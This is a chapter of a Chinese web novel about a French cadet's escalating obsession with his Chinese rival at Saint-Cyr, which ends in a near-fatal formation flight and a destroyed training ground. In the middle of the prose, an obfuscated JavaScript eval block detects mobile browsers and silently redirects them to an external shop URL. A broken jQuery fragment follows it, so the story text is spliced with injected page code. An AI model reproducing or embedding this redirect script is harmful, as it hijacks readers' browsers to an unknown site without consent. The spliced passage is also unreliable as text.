民国八年初春，圣西尔的雪终于开始融化。
积压了整整一个冬天的冰层从屋檐缓慢滴落，白色的雪原被一点点撕开，露出下面潮湿的土地和枯黄的草根，风里依旧带着寒意，却已经不再刺骨，偶尔有阳光穿过云层落下来，照在主楼灰白色的石墙上，让整座军校多出了一丝春天将至的、虚假的温柔。
对于大多数学生而言，这意味着舞会季即将开始，意味着冬季考核终于结束，意味着可以把William Zhang和Marcel Delacroix那场推演当成茶余饭后的谈资。
可对于Marcel Delacroix来说，这个春天和冬天没有任何区别，因为从推演课结束那天开始，他脑子里就只剩下一个问题，像生了锈的钉子一样钉进去，白天拔不出来，晚上也拔不出来：
为什么William Zhang永远在看云南。
为什么铁路比第一名重要。
为什么故乡比巴黎重要。
为什么那个人明明站在圣西尔，却仿佛从来没有属于过圣西尔。
而最糟糕的是，他发现自己开始控制不住地观察张子轩。
最初只是下意识，格斗课集合时，他会第一时间在人群里寻找那个穿着墨绿色军装的身影；射击课统计成绩时，他会先去看张子轩的靶纸上弹孔的分布；骑术训练结束以后，他会注意那匹黑马今天的鬃毛有没有被风吹乱。
后来连他自己都说不清，这究竟是在观察对手，还是在寻找什么别的东西，唯一能够确定的是，他越来越频繁地、无法克制地出现在张子轩身边，近得像影子，近得像失控。
格斗课尤其明显。教官吹响铜哨，高声喊出：
“Par groupes de deux！”
（两人一组！）
学员们迅速开始寻找搭档，而Marcel永远只有一个选择，无论前一天发生过什么，无论课程内容是什么，他总会径直穿过人群，走到那个人面前，用一种近乎宣告的口吻开口：“William.”
第一次，没人觉得奇怪。第二次，也只是巧合。可当这种情况连续持续一个多月以后，整个新生营都察觉到了不对，因为Marcel Delacroix从来不找别人，永远只找William Zhang。
有一次甚至发生了很荒唐的情况，张子轩刚和别人组成一组，Marcel便直接走过去，连眼神都没分给那个可怜的新生，平静地说：“Je le prends.”
（我要他。）
那名新生愣了半天，最后竟真的在众目睽睽之下让出了位置，周围的人笑得东倒西歪，只有张子轩的脸色越来越冷，像结了冰的怒江。
最开始他懒得理会，后来开始觉得烦，非常烦。
因为Marcel已经不只是出现在课堂上，图书馆靠窗的第三个位置，推演室最里面的沙盘，测绘课草地边缘的白桦树下，骑术场马厩的阴影里，甚至食堂打饭的队伍末尾，只要张子轩一抬头，总有一定概率撞进那双蓝灰色的眼睛里。
最离谱的一次发生在测绘课，那天张子轩独自坐在草地边修改云南山地的等高线，抬头时忽然发现Marcel正蹲在不远处，一言不发地看自己画图，四目相对，空气沉默了整整三秒，随后张子轩合上地图，起身就走，Marcel居然还跟了上来。
那一刻，张子轩第一次产生一种想把人就地埋进土里的、纯粹的暴力冲动。
而Jean则越来越头疼。某天下午训练结束以后，他坐在长椅上擦枪，枪油的味道混着春泥的气息，忽然看见Marcel又站在射击场边缘，目光钉死在远处的张子轩身上，于是终于忍不住开口，声音里带着被逼疯的疲惫：
“Tu recommences.”
（你又来了。）
Marcel头也没回，像一尊雕塑：
“Quoi ?”
（什么？）
Jean顺着他的视线看过去，太阳穴突突地跳：
“Tu regardes encore William.”
（你又在看William。）
Marcel沉默片刻，嘴唇抿成一条苍白的线：
“J’observe un adversaire.”
（我是在观察对手。）
Jean差点笑出声，把擦枪布扔在桌上，发出“啪”的一声：
“Depuis quatre mois ?”
（观察四个月？）
这一次Marcel没能立刻回答，因为连他自己都发现，这个理由已经越来越站不住脚，像一张被雨水泡烂的纸。
可他依旧固执地相信，只要继续靠近一点，再靠近一点，或许就能明白那个人的脑子里到底在想什么，云南到底有什么，值得他把整个巴黎都当成路过。
然而事实证明，他什么也没明白。
春季飞行训练开始以后，这种执念终于发展到了危险的、足以致命的程度。圣西尔的飞行课程并不算复杂，主要以基础操控和编队训练为主，那天上午天气很好，风很轻，云很薄，两架训练机先后升空，张子轩在前，Marcel在后。
最开始一切正常，机翼切割气流的声音平稳而规律，可飞行十五分钟以后，地面教官忽然发现雷达上两个光点正在不断缩短距离，太近了，近得已经超出了安全范围，近得像一场蓄意的谋杀。
信号旗立刻挥起，红色在风里疯狂抖动：
“?cartez-vous !”
（拉开距离！）
张子轩立刻压杆调整航向，机身在阳光下划出一道冷静的弧线。可Marcel却像根本没看见一样，依旧紧紧咬在后面，引擎的轰鸣声里，他的世界只剩下前机尾翼上那个小小的十字标记。
距离继续缩短，继续缩短，直到两架飞机几乎贴在一起，气流把机翼刮得发抖，无线电里传来教官暴怒到变调的吼声，而山脊黑色狰狞的轮廓已经出现在正前方，如果再不调整，两架飞机很可能同时撞进山里，变成春天第一场血。
最后一刻，张子轩猛地拉杆抬升，失重感瞬间攥紧心脏。
Marcel几乎是本能地跟着拉升，骨头和机械一起发出不堪重负的呻吟，两架飞机险之又险地掠过山体，机腹擦着岩石过去，带起一阵碎石和死亡的风。
地面所有人的脸都白了，死寂持续了整整十秒，才有人想起来呼吸。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932507|213645||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
降落以后，整个停机坪安静得像坟场。螺旋桨停止转动后，风的声音显得格外大。教官暴怒到几乎失态，唾沫星子喷在Marcel脸上，所有学员站成一排，没人敢说话，没人敢喘气。
等骂完以后，教官终于转向一直沉默的张子轩，胸口还在剧烈起伏：
“Qu’est-ce qu’il faisait ?”
（他到底在干什么？）
张子轩沉默片刻，看了一眼旁边脸色惨白却眼神发直的Marcel，随后给出了一个极其客观、极其冷酷的评价：
“Aucune idée.”
（不知道。）
停顿一秒，他又补了一句，声音轻得像雪落，却把整个停机坪砸进了冰窟：
“Il est peut-être fou.”
（可能疯了吧。）
整个停机坪鸦雀无声。而Marcel居然没有反驳，因为连他自己都解释不了，他只是下意识地想跟上去，想看看那架飞机会飞向哪里，想看看那个人究竟在看什么，想看看云南是不是真的长在他眼睛里。
仅此而已，可这种解释显然比“疯了”还要糟糕，还要无可救药。
飞行事故以后，张子轩终于忍无可忍。他第一次向教官办公室提交了换组申请，白纸黑字，理由只有一行，笔锋锐利得能划破纸背：
“Incompatibilité de travail.”
（无法合作。）
申请被驳回。
于是第二次，第三次，最后甚至直接提交了单独训练申请，措辞一次比一次冷。
消息传开的那天，整个新生营都炸了锅，而Marcel在看见那份被退回的、盖着“拒绝”印章的申请时，胸口像被什么东西狠狠撞了一下，那感觉甚至比推演失败更难受，比“第二名”三个字更难受。
因为直到这一刻，他才终于意识到一件事：自己拼命想靠近的人，不是正在远离自己，而是从来就没有靠近过自己。
当天下午，训练场传来巨大的响声。木制障碍被齐腰撞断，标靶碎了一地，沙袋被军刀劈开，里面的沙子流了一地，像血。教官赶到的时候，整个场地一片狼藉，Jean站在旁边，用力捂住额头，他甚至懒得问发生了什么，因为答案已经写在Marcel那双充血的眼睛里。
夕阳落下的时候，张子轩站在训练场边缘，看着满地碎木和散落的靶纸，看着那个把愤怒发泄到死物上的背影，沉默了很久。
随后，他终于给出了自己对Marcel Delacroix最准确、也最疲惫的评价，声音被风吹散，却还是清晰地落进了Jean耳朵里：
“C’est un problème.”
（这人是个麻烦。）
风从训练场上吹过去，卷起木屑和尘土，没有人知道，就在这个春天，有些东西已经彻底越过了本该存在的边界。
那条线叫“对手”，叫“同僚”，叫“安全距离”，而Marcel用一场近乎自杀的飞行，亲手把它碾得粉碎。
那条边界一旦被踏破，后面的路便再也无法回头。
春天来了，可有的人，却一直活在冬天。